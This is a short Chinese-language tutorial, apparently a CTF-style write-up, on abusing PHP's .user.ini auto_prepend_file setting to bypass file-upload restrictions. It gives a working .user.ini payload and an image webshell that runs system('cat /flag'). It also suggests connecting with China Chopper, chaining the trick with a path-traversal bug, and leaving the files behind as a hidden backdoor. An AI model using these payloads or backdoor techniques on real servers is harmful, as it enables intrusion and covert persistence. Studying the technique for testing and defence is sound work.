.user.ini
我们先在php手册上看一下对.user.ini的介绍:
也就是说我们可以在.user.ini中设置php.ini中PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置,而且只要是在使用 CGI/FastCGI 模式的服务器上都可以使用.user.ini
在p牛的文章中提到了两个有趣的设置:auto_prepend_file和auto_append_file
我们再到手册中看了下这两个设置的定义:
大致意思就是:我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);
这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)
.user.ini实战利用的可能性
综上所述.user.ini的利用条件如下:
服务器脚本语言为PHP
服务器使用CGI/FastCGI模式
上传目录下要有可执行的php文件
看过.user.ini的分析后我们的思路应该比较清晰了,我们可以上传一个这样的.user.ini:
GIF89a
auto_prepend_file=a.jpg
然后再上传一个这样的图片马a.jpg:
GIF89a
<script language='php'>system('cat /flag');</script>
接着URL访问上传目录中的可执行文件即可使用菜刀进行连接。
但仔细推敲我们就会感到“上传目录下要有可执行的php文件”这个要求在文件上传中也比较苛刻,应该没有天才开发者会把上传文件放在主目录或者把php文件放在上传文件夹。
但也不是全无办法,如果我们根据实际情况配合其他漏洞使用可能会有奇效,前段时间我遇到一个CMS对上传时的路径没有检测…/,因此导致文件可被上传至任意目录,这种情况下我们就很有可能可以利用.user.ini
除此之外,把.user.ini利用在隐藏后门上应该是个很好的利用方法,我们在存在php文件的目录下留下.user.ini和我们的图片马,这样就达到了隐藏后门的目的。